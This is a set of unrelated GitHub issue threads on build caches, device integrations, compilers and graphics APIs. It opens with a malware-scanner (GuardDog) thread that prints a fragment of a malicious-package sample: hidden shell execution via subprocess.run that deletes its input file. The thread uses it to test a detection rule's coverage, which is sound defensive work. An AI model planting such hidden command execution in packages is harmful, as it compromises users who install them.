+        strcommand = result_string + " " + outputFilePath + ", CalculateSum" + str(no)
+        try:
+            subprocess.run(strcommand, shell=True, check=True, text=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+            os.remove(inputFilePath)
+        except:
+            pass
+    if os.path.isfile(outputFilePath):
+        os.remove(outputFilePath)
➜  guarddog git:(main) ✗ pipenv run semgrep --metrics off --test --config guarddog/analyzer/sourcecode/code-execution.yml tests/analyzer/sourcecode/code-execution.py
0/1: 1 unit tests did not pass:
--------------------------------------------------------------------------------
	✖ code-execution                                               missed lines: [], incorrect lines: [221]
	test file path: /Users/cedric.vanrompay/go/src/github.com/DataDog/guarddog/tests/analyzer/sourcecode/code-execution.py

No tests for fixes found.

Wait, that's weird, guarddog does report findings depending on the filename I use in the ZIP archive:
➜  guarddog git:(main) ✗ # both files are the same
➜  guarddog git:(main) ✗ diff ~/tinkering/guarddog-samples/code-execution.py ~/tinkering/guarddog-samples/sample.py
➜  guarddog git:(main) ✗ rm ~/tinkering/guarddog-samples/sample.zip; zip -r ~/tinkering/guarddog-samples/sample.zip ~/tinkering/guarddog-samples/sample.py
  adding: Users/cedric.vanrompay/tinkering/guarddog-samples/sample.py (deflated 61%)
➜  guarddog git:(main) ✗ pipenv run python -m guarddog pypi scan ~/tinkering/guarddog-samples/sample.zip
Found 0 potentially malicious indicators scanning /Users/cedric.vanrompay/tinkering/guarddog-samples/sample.zip

➜  guarddog git:(main) ✗ rm ~/tinkering/guarddog-samples/sample.zip; zip -r ~/tinkering/guarddog-samples/sample.zip ~/tinkering/guarddog-samples/code-execution.py
  adding: Users/cedric.vanrompay/tinkering/guarddog-samples/code-execution.py (deflated 61%)
➜  guarddog git:(main) ✗ pipenv run python -m guarddog pypi scan ~/tinkering/guarddog-samples/sample.zip
Found 1 potentially malicious indicators in /Users/cedric.vanrompay/tinkering/guarddog-samples/sample.zip

code-execution: found 1 source code matches
  * This package is executing OS commands in the setup.py file at Users/cedric.vanrompay/tinkering/guarddog-samples/code-execution.py/Users/cedric.vanrompay/tinkering/guarddog-samples/code-execution.py:25
        subprocess.run(strcommand, shell=True, check=True, text=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

It seems to ignore the file if it is named sample.py in the ZIP archive.

Well it seems like GuardDog does have a list of files it will not scan with SemGrep:
https://github.com/DataDog/guarddog/blob/e49bf3298e4601ba3e4dc00140bd54d02d14371f/guarddog/analyzer/analyzer.py#L50
However, sample.py shoud not match any of them, that's weird.

Well running guarddog with an empty self.exclude does not change the problem.

foo.py gets ignored just like sample.py
➜  guarddog git:(main) ✗ sha256sum ~/tinkering/guarddog-samples/foo.py ~/tinkering/guarddog-samples/sample.py ~/tinkering/guarddog-samples/code-execution.py
f3aef3a08a45e4a26a3c47d21aca72b99e1ea65fb96b7c5cdd986ceee948a81f  /Users/cedric.vanrompay/tinkering/guarddog-samples/foo.py
f3aef3a08a45e4a26a3c47d21aca72b99e1ea65fb96b7c5cdd986ceee948a81f  /Users/cedric.vanrompay/tinkering/guarddog-samples/sample.py
f3aef3a08a45e4a26a3c47d21aca72b99e1ea65fb96b7c5cdd986ceee948a81f  /Users/cedric.vanrompay/tinkering/guarddog-samples/code-execution.py
➜  guarddog git:(main) ✗ rm ~/tinkering/guarddog-samples/sample.zip; zip -r ~/tinkering/guarddog-samples/sample.zip ~/tinkering/guarddog-samples/foo.py
  adding: Users/cedric.vanrompay/tinkering/guarddog-samples/foo.py (deflated 61%)
➜  guarddog git:(main) ✗ pipenv run python -m guarddog --log-level=DEBUG pypi scan ~/tinkering/guarddog-samples/sample.zip
DEBUG: Considering that '/Users/cedric.vanrompay/tinkering/guarddog-samples/sample.zip' is a local target, scanning filesystem
DEBUG: Extracting archive /Users/cedric.vanrompay/tinkering/guarddog-samples/sample.zip to directory /var/folders/mr/gw__5v_16b5g3kl00czl2d800000gq/T/tmpbjoihbzd
DEBUG: content of /var/folders/mr/gw__5v_16b5g3kl00czl2d800000gq/T/tmpbjoihbzd: ['/var/folders/mr/gw__5v_16b5g3kl00czl2d800000gq/T/tmpbjoihbzd/Users/cedric.vanrompay/tinkering/guarddog-samples/foo.py', '/var/folders/mr/gw__5v_16b5g3kl00czl2d800000gq/T/tmpbjoihbzd/Users/cedric.vanrompay/tinkering/guarddog-samples/foo.py/Users/cedric.vanrompay/tinkering/guarddog-samples/foo.py']
DEBUG: No rules specified using full rules directory /Users/cedric.vanrompay/go/src/github.com/DataDog/guarddog/guarddog/analyzer/sourcecode
DEBUG: Running source code rules against /var/folders/mr/gw__5v_16b5g3kl00czl2d800000gq/T/tmpbjoihbzd
DEBUG: Invoking semgrep with command line: semgrep --config /Users/cedric.vanrompay/go/src/github.com/DataDog/guarddog/guarddog/analyzer/sourcecode --no-git-ignore --json --quiet /var/folders/mr/gw__5v_16b5g3kl00czl2d800000gq/T/tmpbjoihbzd
Found 0 potentially malicious indicators scanning /Users/cedric.vanrompay/tinkering/guarddog-samples/sample.zip

So the problem seems to be that semgrep every single file unless if its named code-execution.py?
According to https://semgrep.dev/docs/writing-rules/testing-rules/:

Semgrep looks for tests based on the rule filename and the languages specified in the rule. In other words, path/to/rule.yaml searches for path/to/rule.py, path/to/rule.js and similar, based on the languages specified in the rule.

But this is just supposed to be for testing, right?

Ah, found it! It's not a bug it's a feature :tm:
https://github.com/DataDog/guarddog/blob/e49bf3298e4601ba3e4dc00140bd54d02d14371f/guarddog/analyzer/sourcecode/code-execution.yml#L1
https://github.com/DataDog/guarddog/blob/e49bf3298e4601ba3e4dc00140bd54d02d14371f/guarddog/analyzer/sourcecode/code-execution.yml#L113-L116

So, the conclusion is:

GuardDog is able to detect this code execution
currently it only scans setup.py for this rule
this would have missed the malicioius packages in https://blogs.jpcert.or.jp/en/2024/02/lazarus_pypi.html since the code execution was in __init__.py in this case

closing in favor of #312 as discussed with @cedricvanrompay-datadog


⚠ Bofrost.lu has degraded performance

In 4e0068c, Bofrost.lu (https://www.bofrost.lu) experienced degraded performance:

HTTP code: 200
Response time: 1703 ms

Resolved: Bofrost.lu performance has improved in 9a0dbd9 after 13 minutes.


Allow pulling from both local and remote build caches.

@wolfs can you take a look at this?
I wanted CompositeBuildCache, CompositeBuildCacheService and CompositeBuildCacheServiceFactory to be simpler (we don't need to support more than a local and remote build cache).
I think we should eventually just get rid of the org.gradle.cache.push system property and keep org.gradle.cache.pull as a test-only flag (for our performance tests).  So for that, I think we shouldn't override configuration from the user.  I think we'll eventually want BuildCacheConfiguration to be attached to build-scan data.

@big-guy: I polished your branch a little bit and merged it into master: https://github.com/gradle/gradle/commit/1b56ee3feb480b0e1fb82f515ac42e5fd1d92afa


added a working comments section

I have to add that I did deploy the changes and the changes still work when deployed however there still seems to be some incorrect data still there as well. I cleared the datastore locally but it does not seem to have cleared in the deployed version


Gateway and Devices not showing up in HA

Home Assistant 2023.5.3
Supervisor 2023.04.1
Operating System 10.1
Xiaomi Gateway 3: v3.2.1
Home assistant finds the gateway and its IP and can telnet.
I have created a service for the cloud account and then used that to create a service for the gateway, but the gateway, nor the attached bluetooth device load.
Under config/.storage/xiaomi_gateway3/ I have files for:
devices.json:
{
  "version": 1,
  "minor_version": 1,
  "key": "xiaomi_gateway3/devices.json",
  "data": {}
}

and
[email address].json
{
  "version": 1,
  "minor_version": 1,
  "key": "xiaomi_gateway3/[email_address].json",
  "data": [
    {
      "did": "1005266473",
      "uid":<PHONE_NUMBER>,
      "token": "[redacted]",
      "name": "Kitchen Presence Sensor",
      "pid": 16,
      "localip": "<IP_ADDRESS>",
      "mac": "DC:ED:83:8D:5E:B9",
      "bssid": "",
      "longitude": "0.00000000",
      "latitude": "0.00000000",
      "show_mode": 1,
      "model": "linp.sensor_occupy.hb01",
      "permitLevel": 16,
      "isOnline": true,
      "spec_type": "urn:miot-spec-v2:device:occupancy-sensor:0000A0BF:linp-hb01:2:0000C824",
      "extra": {
        "isSetPincode": 0,
        "pincodeType": 0,
        "fw_version": "2.1.1_0159",
        "isSubGroup": false,
        "showGroupMember": false,
        "split": {}
      },
      "orderTime":<PHONE_NUMBER>,
      "freqFlag": true,
      "hide_mode": 0,
      "cnt": 16,
      "comFlag": 129
    },
    {
      "did": "1005838671",
      "uid":<PHONE_NUMBER>,
      "token": "[redacted]",
      "name": "Lounge Presence Sensor",
      "pid": 16,
      "localip": "<IP_ADDRESS>",
      "mac": "64:9E:31:4F:B9:E9",
      "bssid": "",
      "longitude": "0.00000000",
      "latitude": "0.00000000",
      "show_mode": 1,
      "model": "linp.sensor_occupy.hb01",
      "permitLevel": 16,
      "isOnline": true,
      "spec_type": "urn:miot-spec-v2:device:occupancy-sensor:0000A0BF:linp-hb01:2:0000C824",
      "extra": {
        "isSetPincode": 0,
        "pincodeType": 0,
        "fw_version": "2.1.1_0159",
        "isSubGroup": false,
        "showGroupMember": false,
        "split": {}
      },
      "orderTime":<PHONE_NUMBER>,
      "freqFlag": true,
      "hide_mode": 0,
      "cnt": 16,
      "comFlag": 129
    },
    {
      "did": "332649613",
      "uid":<PHONE_NUMBER>,
      "token": "[redacted]",
      "name": "Gateway",
      "pid": 0,
      "localip": "<IP_ADDRESS>",
      "mac": "64:90:C1:79:63:A0",
      "ssid": "BeattieWiFi",
      "bssid": "00:EB:D8:87:EA:3A",
      "rssi": -38,
      "longitude": "0.00000000",
      "latitude": "0.00000000",
      "show_mode": 1,
      "model": "lumi.gateway.mgl03",
      "permitLevel": 16,
      "isOnline": true,
      "spec_type": "urn:miot-spec-v2:device:gateway:0000A019:lumi-mgl03:2",
      "extra": {
        "isSetPincode": 0,
        "pincodeType": 0,
        "fw_version": "1.5.5_0006",
        "isSubGroup": false,
        "showGroupMember": false,
        "split": {}
      },
      "orderTime":<PHONE_NUMBER>,
      "freqFlag": true,
      "hide_mode": 0,
      "cnt": 8,
      "comFlag": 129
    },
    {
      "did": "73902983",
      "uid":<PHONE_NUMBER>,
      "token": "[redacted]",
      "name": "Video camera",
      "pid": 0,
      "localip": "<IP_ADDRESS>",
      "mac": "78:11:DC:79:6D:32",
      "ssid": "BeattieWiFi",
      "bssid": "68:FF:7B:2A:CC:D3",
      "longitude": "0.00000000",
      "latitude": "0.00000000",
      "show_mode": 1,
      "model": "isa.camera.df3",
      "permitLevel": 16,
      "isOnline": false,
      "spec_type": "urn:miot-spec-v2:device:camera:0000A01C:isa-df3:1",
      "extra": {
        "isSetPincode": 0,
        "pincodeType": 0,
        "fw_version": "<IP_ADDRESS>",
        "isSubGroup": false,
        "showGroupMember": false,
        "split": {}
      },
      "orderTime":<PHONE_NUMBER>,
      "freqFlag": true,
      "hide_mode": 0,
      "comFlag": 129
    }
  ]
}

The gateway is on the same wifi SSID as my HA instance, WPA2 encrytion, same subnet and fixed IP.
I can't control the 2.4GHz channel width and can't tell which it is using.
I have had this working once with all devices, when on Home Assistant 2023.5.2, but then I updated my mesh network router and then I have have never been able to get the gateway and devices to show again.
I tried rolling back to 2023.5.2 and earlier snap shots and still no luck.
Not sure if this is a HA, integration bug, network or Xiaomi server related issue, but have tried all I can relating to my network, so believe it to be a HA, integration or Xiaomi issue.
Any help greatly appreciated.

Your gateway firmware unsupported


Feature suggestion: Optionally emit property names

Hello Team,
I've created a lot of generic solutions with TypeScript but always struggled with this one. Is there a way to get all properties defined in TypeScript, but at runtime. For Example
class Car {     name: string; }
will compile to var Car = /** @class */ (function () {     function Car() {     }     return Car; }());
Could there be a compiler option which would emit
var Car = /** @class */ (function () {     function Car() {         this.name = null;     }     return Car; }());
This would allow us to create better generic solutions with Typescript. I searched a lot and maybe used the wrong search terms, but I could not find a solution to this.

undefined is better than null

With recent changes to the proposal (see #27644) that would be standard behavior (with undefined instead of null and [[Define]] instead of [[Set]]).

As @ark120202 points out, at this point, this is basically a duplicate of #27644, since the new property emit will be something like Object.defineProperty(this, "name", undefined) for name: string.


Bump versions in pdfjs.config and update the getting started page of the website for the new release

/botio-linux preview


[RFC] Push constants in D3D12

In Vulkan, push constants are decoupled from the concept of descriptor sets but still part of the pipeline layout. On pipeline layout creation push constants are declared via a range and shader stage flag. Updates of constant values is done separately for each range in the command buffer.
For D3D12 push constants are represented as constant buffers on the shader side and directly inlined into the root signature as root constants. Therefore they directly occupy space in the user data (in AMD terms), which is done under the hood in Vulkan.
Issues:

Mapping of push constant ranges to root constants: SPIR-V to HLSL translation requires the shaders to annotate register binding and space. Without knowledge of the pipeline layout mapping is not directly possible.
Overlapping push constant ranges: Vulkan allows, in theory for now at least, that push constants can be overlapping and re-interpreted(!) for different shader stages. (cc https://github.com/KhronosGroup/Vulkan-Docs/issues/609)  D3D12 doesn't allow overlapping root signatures.

Proposal
The mapping problem can be addressed by splitting the push constant block (can be only one per stage) on SPIR-V -> HLSL translation into its subfields. Each subfield recieves a root constant binding in the root signature. Register binding is determined by offset / 4, which is unique and maps well as root constants and push constants are multiple of u32. So we have a constant(!) mapping between ranges and bindings. space can be set to 0 for all as we don't want overlap (would require additional memory!).
Overlapping requires a few restrictions. We don't want to disallow overlapping at all as two shaders (e.g vertex and fragment) might shader the same push constant block but are split in two different SPIR-V modules. Therefore, we should require a structural similarity of the push constant blocks. This means that only whole  subfields can overlap and the must share the same memory representation:

Invalid because a.y and b overlap but not the whole subfield a is overlapping (and have different types):

layout(push_constant) uniform foo {
    layout(offset=0) vec2 a;
} u_foo;

layout(push_constant) uniform boo {
    layout(offset=4) int b;
} u_boo;

Valid because whole subfields are overlapping and same type.

layout(push_constant) uniform foo {
    layout(offset=0) vec2 a;
    layout(offset=8) vec2 b;
} u_foo;

layout(push_constant) uniform boo {
    layout(offset=8) vec2 c;
    layout(offset=12) vec2 d;
} u_boo;

Due to the splitting into subfields at root signature level, there won't be a conflict here. IMO this restriction is reasonable for most codebases.

I'm noticing an issue with the the root signature creation as only push constant ranges are known at this time but not the actual fields of the const buffer struct of the shaders. Vulkan treats push constant more like raw memory and, therefore, is more flexible in terms of pipeline layout <-> pipeline compatibility. Further investigation needed at this point.
Current proposal to workaround the problem would be to forbid overlap for the moment and translate the push constant block directly into one constant buffer on HLSL for each shader with the offset strategy as described above (no subsplitting for now).


Create tutorial.rst

Many thanks to contributing to snafees/ortho_seqs!
Please fill in the appropriate checklist below (delete whatever is not relevant). These are the most common things requested on pull requests (PRs).
PR checklist

[ ] This comment contains a description of changes (with reason)
[ ] If you've fixed a bug or added code that should be tested, add tests!
[ ] Ensure the test suite passes with pytest . (command to run: pytest or make coverage if you want to see which lines don't have tests yet)
[ ] Make sure your code is linted and autoformatted using black (black . --check).
[ ] Documentation in usage.md is updated
[ ] README.md is updated

Codecov Report

Merging #28 (3209928) into efficiency (877c604) will not change coverage.
The diff coverage is n/a.

@@             Coverage Diff             @@
##           efficiency      #28   +/-   ##
===========================================
  Coverage       90.00%   90.00%
===========================================
  Files               6        6
  Lines             720      720
===========================================
  Hits              648      648
  Misses             72       72

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 877c604...3209928. Read the comment docs.


importlib-metadata 5.0.0 breaks tests on Python3.7

Information

Qiskit Experiments version: 0.5.0
Python version: Python 3.7
Operating system: Ubuntu on GitHub CI

What is the current behavior?
Automated tests with Tox and GitHub CI fail with the error AttributeError: 'EntryPoints' object has no attribute 'items' for older Python versions. This appears to be because of a recent update to importlib-metadata. This library backports some importlib functionality to older Python versions. Example output from these tests are shown here (https://github.com/Qiskit/qiskit-experiments/actions/runs/3173286563/jobs/5168732801).
Steps to reproduce the problem

Run any CI Python tests for Ubuntu-latest and Python 3.7

What is the expected behavior?
That tests run and any error or assertions in the tests are raised.
Suggested solutions
One solution is to pin the importlib-metadata version to <5.0.0, as suggested in a Stackoverflow answer, until dependencies are updated to resolve the issue. It looks like importlib-metadata is used by Sphinx.

The importlib metadata release is primarily breaking stevedore on python 3.7, which is used by Qiskit terra and is a dependency of a dependency of stestr (the test runner we use in ci). You can pin it in the requirements-dev.txt file as nothing in experiments directly depends on it, or add a constraints file like what is done here: https://github.com/Qiskit/rustworkx/pull/689 to pin it without needing to add a non-direct dependency to a requirements list.

@mtreinish, the solution in Qiskit/rustworkx#689 looks good. I'll open a PR to add a similar change to requirements-dev.txt.


Ignore files and folder when running mutation tests

I believe the tests folder doesn't need to be included in the report found here - https://trayio.github.io/mock-inspect/mutation/#tests
including fixtures and setup helpers files / folders

test comment


[Proposal]: Footer should have it's own background colour setting, it's currently reusing a text colour

Summary
Currently the footer style background is using $headingColour; which is described in _settings.scss as a Text colours.
I changed all the settings so I could have a dark mode but the footer really stands out. I modified the theme easily but this was still a bit confusing.
Proposed solution
Expose footer color in the settings or use on of the //Background colours settings

Hello, we tried to solve the issue.
This is what we did:
Added a new setting for footer background color in _sass/_settings.scss and updated the footer styles in _sass/_theme.scss to use this new setting. This allows for easier customization of the footer background color and improves consistency with other background color settings.
You can review changes in this commit: https://github.com/jacks-sam1010/daviddarnes-alembic-206/commit/2bc770ca2de7af20510a4e93ad1f25f3b64be2ec.

[!CAUTION]
Disclaimer: The concept of solution was created by AI and you should never copy paste this code before you check the correctness of generated code. Solution might not be complete, you should use this code as an inspiration only.

Latta AI seeks to solve problems in open source projects as part of its mission to support developers around the world. Learn more about our mission at https://latta.ai/ourmission . If you no longer want Latta AI to attempt solving issues on your repository, you can block this account.


use --output binary instead of --raw-binary

on CentOS 7.6 using nvme version 1.8.1 the following happens when using --raw-binary
nvme id-ctrl --raw-binary /dev/nvme0n1 | cut -c3073-3104
binary output
sda1

but with --output binary the binary output doesn't show up
nvme id-ctrl -o binary /dev/nvme0n1 | cut -c3073-3104
sda1

I know it doesn't return /dev/ - That's a different problem which I don't know how to solve yet

Seems https://github.com/oogali/ebs-automatic-nvme-mapping/pull/3/files is handling some of the /dev/ missing issue

I agree, but there are some issues I highlighted in reviewing the PR that I’d rather be resolved prior to merging it in.

Agreed - I just noticed that with raw-binary and otherwise I was not getting /dev/ in the returning value; And --raw-binary didn't exist in my installation of CentOS + nvme-clie :)

Same still happens on CentOS 7.8 FWIW - With #3 merged I do wonder if this can be merged?

Seeing the same behavior in CentOS 8.2 as we saw in 7.8

If you squash your commits, I can merge.

Done! :) Thank you

Please add this PR as it is very useful. Thank you @helgi for pointing out to the solution
On Ubuntu 18.04 there is the same problem with the "--raw-binary" option


Parsing of environment variables from notebook pipeline component fails

Describe the issue
Parsing of environment variables from notebook pipeline component fails
To Reproduce

Insert a cell to a notebook

Paste the following content
from os import environ as e
source_folder = e.get('source_folder','images')
target_column = e.get('target_column','finding')
image_column = e.get('image_column','filename')
output_folder = e.get('output_folder','data')
target_replace = e.get('output_folder_replace','')
target_replace_with = e.get('output_folder_replace_with','')

drag to pipeline canvas

Observe that the env variables are not rendered

Screenshots or log output

Expected behavior
Env. variables should be rendered
Deployment information
Describe what you've deployed and how:

Elyra version: [2.0.1]

The following format is supported
import os
source_folder = os.environ.get('source_folder','images')
target_column = os.environ.get('target_column','finding')
image_column = os.environ.get('image_column','filename')
output_folder = os.environ.get('output_folder','data')
target_replace = os.environ.get('output_folder_replace','')
target_replace_with = os.environ.get('output_folder_replace_with','')

Can you clarify what you mean by "not rendered"? There is currently no automation in place that parses notebooks | Python scripts, extracts environment variables, and pre-populates the Environment Variables node properties.

Actually, there is some parsing that happens.  I believe it handles os.environ.get('xxx') and os.getenv('xxx') forms of access.  This issue is asking for much richer parsing, which, frankly, I think we should push back on via documentation and say something to the affect of: "If you'd like your environment variables automatically populated, use one of these two forms in your script."
I don't know if this parsing occurs on python scripts or only for notebooks.
cc: @ajbozarth

Good to know! Is this a documented feature?

This issue is asking for much richer parsing, [...] we should push back

I agree since static code analysis wouldn't be able to identify variable names in 100% of the cases anyway.

Is this a documented feature?

I think it will be soon. :smile:

What @kevin-bates described is correct, but there also the limiting factor that the parsing only occurs on initial creation of a node and only works if the notebook is already open in jupyterlab when adding the node.

Given the listed constraints when parsing is performed, wouldn't it be better to make this an explicit task, for example by adding a "scan file for environment variables" button? Handling this implicitly (like it is done now) just introduces too many potential problems.

For now, let's document what is currently supported.


chore: removed TODOs, updated outdated specs etc

Change log

Moved various requirements related doc to requirements folder
Updated the missing critical attributes in verify-signature command which was part of https://github.com/notaryproject/notaryproject/pull/184 but that's not getting updated by Milind
We are tracking threat model and other open issues in https://github.com/notaryproject/notation/issues/151, https://github.com/notaryproject/notaryproject/issues/230 and thus removed it from spec
Add signingAuthority to trust store specs.
5.Removed verification extensibility TODO and replaced it with link to plugin spec link

Can we split the PR into smallers PRs? Basically, one PR one purpose. Otherwise, the combine PR may take longer time to review and may be stale in the end.

Can we split the PR into smaller PRs although this PR overall LGTM? Basically, one PR one purpose. Otherwise, the combine PR may take longer time to review and may be stale in the end.

Yes there are multiple changes but at high level there are only two changes

move requirements related doc to requirements directory, which are shown as moved  files in PR
Update outdated specs.

Although I can split above two changes into separate PRs but that wouldn't help much


items length 7

Hi, very cool, but if items.length = 7 doesn´t seem to get the selectedItem of second and third item

You're right, any ideas?

Ok, I foud the bug. Just take code from master branch


Error when playing a playlist

I have an iTunes playlist with a single entry, an Internet audio stream (128k MP3 stream of Radio Paradise).
    NSAppleScriptErrorMessage = "iTunes got an error: Can\U2019t get playlist id 210.";
    NSAppleScriptErrorNumber = "-1728";
    NSAppleScriptErrorRange = "NSRange: {0, 0}";
}
8/24/11 8:42:55.840 AM Quicksilver: -[__NSCFNumber objectForKey:]: unrecognized selector sent to instance 0x2220be0
8/24/11 8:42:55.840 AM Quicksilver: Exception detected while handling key input.
8/24/11 8:42:55.840 AM Quicksilver: -[__NSCFNumber objectForKey:]: unrecognized selector sent to instance 0x2220be0
8/24/11 8:42:55.841 AM Quicksilver: (
	0   CoreFoundation                      0x9ad65e77 __raiseError + 231
	1   libobjc.A.dylib                     0x906f8149 objc_exception_throw + 155
	2   CoreFoundation                      0x9ad69480 -[NSObject doesNotRecognizeSelector:] + 256
	3   CoreFoundation                      0x9acb88a9 ___forwarding___ + 457
	4   CoreFoundation                      0x9acb8672 _CF_forwarding_prep_0 + 50
	5   iTunes Module                       0x027ecb73 -[QSiTunesActionProvider playPlaylist:] + 285
	6   iTunes Module                       0x027ec0bf -[QSiTunesActionProvider playItem:] + 74
	7   CoreFoundation                      0x9acbb901 -[NSObject performSelector:withObject:] + 65
	8   QSCore                              0x0009c4b2 -[QSAction performOnDirectObject:indirectObject:] + 785
	9   CoreFoundation                      0x9acbe5c9 -[NSInvocation invoke] + 137
	10  CoreFoundation                      0x9acbe71a -[NSInvocation invokeWithTarget:] + 74
	11  QSCore                              0x000c69e9 -[QSRankedObject forwardInvocation:] + 93
)

Version info:
Quicksilver version: ß60 (3850)
iTunes Module: 335
Mac OS X version: 10.7.1
iTunes version: 10.4 (80)

This should be fixed in the iTunes plug-in.

Yup, working great now.


Missing a Markdown theme style?

vite-plugin-vuedoc only generates components and does not provide markdown theme styles. Because most of the usage scenarios are component libraries, and most of the component libraries have their own theme styles

vite-plugin-vuedoc only generates components and does not provide markdown theme styles. Because most of the usage scenarios are component libraries, and most of the component libraries have their own theme styles


fix: stream support in query engines

Fixes stream support in query engines. Addresses user issue: https://github.com/orgs/langfuse/discussions/828#discussioncomment-8725481

Does the test you've implemented print the response? For my example below, it doesn't print the response at the end. Not sure if that's b/c the streaming generator has already yielding everything in the LlamaIndexCallbackHandler when it gets converted to a string.
from llama_index.core import Settings, SimpleDirectoryReader, VectorStoreIndex, StorageContext, load_index_from_storage
from llama_index.core.callbacks import CallbackManager

from langfuse.llama_index import LlamaIndexCallbackHandler

langfuse_callback_handler = LlamaIndexCallbackHandler(
    host="http://localhost:3001",
    debug=True,
)

Settings.callback_manager = CallbackManager([langfuse_callback_handler])

storage_dir = '/Users/jimgoo/git/rcp/trase-demo/llama-index/backend/storage'
storage_context = StorageContext.from_defaults(persist_dir=storage_dir)
index = load_index_from_storage(storage_context, chunk_size=256, show_progress=True)

use_streaming = True
chat_engine = index.as_query_engine(streaming=use_streaming)
validated_prompt = 'Hey how are you?'
response = chat_engine.query(validated_prompt)

# nothing prints here
print('-'*100)
for token in response.response_gen:
    print(token, end="")


Unable to use bots built with LUIS

Describe the bug
Unable to use bots built with LUIS.
Version
v1.0.2-nightly.160791.78429de
Browser

[x] Electron distribution
[ ] Chrome
[ ] Safari
[ ] Firefox
[ ] Edge

OS

[x] macOS
[ ] Windows
[ ] Ubuntu

To Reproduce
Steps to reproduce the behavior:
Appendix:
a. Create a Languange Understanding service from Azure, West Europe region.

Go to 'New'
Click on 'Create from template'
Select 'Todo with LUIS'
Click 'Next'
Click 'Ok'
Click 'Start Bot'
Provide the mandatory 'LUIS Authoring key' (previously created in West Europe)
Select the proper 'Luis Authoring key'
Click 'Ok'
Wait for publish to finish
Click 'Test in Emulator'
When conversation starts in Emulator you should see 'Hi, how can I help today?'
Click 'Add'
See the unexpected Bot answer "Response status code does not indicate success: 401 (PermissionDenied)."

Expected behavior
Bot should understand and correctly answer, without erroring out.
Additional context
LUIS Authoring seems to work just fine. I can correctly see all the models and intents created by Composer.
If a try to overload authoringEndpoint or endpoint under 'Settings' > 'Bot settings' the error change to: "Response status code does not indicate success: 403 (Forbidden).".
Also setting endpointKey with a valid LUIS key seems to not be beneficial.

@nitroin - Thank you for the detailed repro steps. I tried your steps exactly but I could not reproduce the problem:

We will need more information in order to determine why it's not working for you. What is your authoring region? Are you using the en-us locale?

Thank you.
All my tests were done from a Luis instance created from Azure, West Europe region.
I have now tested with a Luis created from Azure but WestUS region. The bot is working as expected.
I'll update the issue accordingly!

I'm unable to start the bot at all when providing a West Europe authoring key. However, when I change the region to westeurope in the bot's settings it starts correctly and then works correctly in Emulator:

Could there be any extra steps you're performing to make Composer recognize your West Europe authoring key as valid when the region is still set to westus?

I was able to select the correct region at the first start of the bot, while providing the authoring key.
I will try from scratch and report back.
Thanks!

Hello again. I'm able to repro the issue.
Updated steps:
8 bis. From the combobox select 'westeurope'.

I can provide a video if preferred.
Do not panic for the included Authoring key in the screenshot, is invalidated already. Thank you!

Here a video repro.
Setting up the bot.

(20 sec cut)

@nitroin - So it looks like the problem is that LUIS isn't working for you with a westeurope key but is working for you with a westus key. It seems like the problem is not that you've configured the wrong region in your bot settings, but can you check the settings after you've started your bot to make sure anyway? I posted a screenshot earlier of what the LUIS endpoint looks like in the settings.
My thought is that seeing what you've done in the LUIS portal would be more helpful than seeing what you've done in Composer. But if you'd like to help determine if Composer really is the cause of the discrepancy, you could try seeing if you can reproduce the problem in other versions of Composer. I still cannot reproduce the problem on my end.
@cwhitten - Do you know why the Authoring Region and Default Language input boxes are disabled for me?

@v-kydela I've tried Bot Composer ver 1.0.2 (not Beta/Insiders) and I'm able to use the Luis services from West Europe.
This looks like a regression from pre-release ver.
Thanks.

@nitroin - Thank you for testing that. I guess the Composer version is the culprit after all. Previews are certainly not guaranteed to be bug-free but I suppose it's nice to have this bug report anyway. I'll unassign myself so this can be triaged.

Super! Thank you @v-kydela.

@nitroin you can modify the region settings by navigating to Settings -> Bot Settings and look for the "luis" key.
In an upcoming release we're enable modification of these fields

@nitroin you can modify the region settings by navigating to Settings -> Bot Settings and look for the "luis" key.
In an upcoming release we're enable modification of these fields

Thank you @cwhitten - the problem is not changing the Luis region (by hand on Bot settings or by ComboBox at the first start) or deploy models (with Intents definitions).
The problem is the Luis model unavailability when choosing said region while into bot conversation.
The regression seems to be there also in version v1.0.2-nightly-161168.62bd41.

@nitroin Could you help to check the default endpoint setting in LUIS and updated in bot settings?

Check the luis endpoint and updated in Settings->Bot settings ("luis" :   "authoringEndpoint": "xxx")

Thank you @hibrenda.
I tried to manually popolate authoringKey and endpoint only and this seems to fix the issue!
My confusion in previous tests was that I was providing all endpointKey, endpoint and authoringEndpoint values.
This result in in 403 Forbidden.
Thank you all. I hope this debug session is beneficial to other users too.
We're really liking Composer workflow. Thanks.
(this can be close, dunno if I'm supposed to do that or is best if done by one of the team)

Thanks for the verification.  Actually there are 2 ways to make it work.

Manually add authoring key/endpoint to all the endpointkey, endpoint, authoringendpoint and authoringkey if your luis service is not default like “https://{region}.xxxx".
Based on the luis doc :  https://docs.microsoft.com/en-us/azure/cognitive-services/luis/get-started-portal-deploy-app#assign-the-resource-key-to-the-luis-app-in-the-luis-portal (manually assign prediction resource to all the corresponding luis app which published by composer) . Then you can use prediction key/endpoint in Bot setting .

@zxyanliu  Let's document this part later.


Initial SVD file for ESP32 MCU.

There are a few questions regarding the SVD file structure specially for
this architecture.

Is Xtensa LX6 the correct name for the cpu?.
What is the CPU revision? I set it to unknown for now.
What is the correct value for nvicPrioBits?
What is the correct value for vendorSystickConfig?.

To generate the definitions I followed this process:

Generate definitions with: svd2rust -i esp32.svd --target none.
Split the single lib.rs into modules using the form (available on crates.io) tool:
form -i lib.rs -o src/ && rm lib.rs.

Note: the Peripherals API is unsafe by default, because there isn't a way (currently) to enter in interrupt free mode. This needs to be implemented in a separate crate, or here directly and add the proper take method to the Peripherals struct.

It should be ready to write a minimal HAL API to change a pin from floating mode to Output<PushPulll>, and set it high/low. An example using the Peripherals API is under the examples/ directory, it's based on the MabezDev/xtensa-rust-quickstart code, sets the LED on and off.
To handle and edit the esp32.svd file (lots of repetitive work) I used the XML Notepad tool to make things much easier. It's not the best thing out there but works for this use case right now. A tool to edit SVD files would be much better but I don't know of the existence of one at the moment.
The GPIO register names, addresses, and details I used where from the ESP32 Technical Reference Manual.

Excellent! This is looking good. Will review properly soon.
I am wondering if there is way to generate some of this information from the existing C headers in the idf, something like https://github.com/japaric/ultrascale-plus/tree/master/tools/html2svd but C-header2svd.

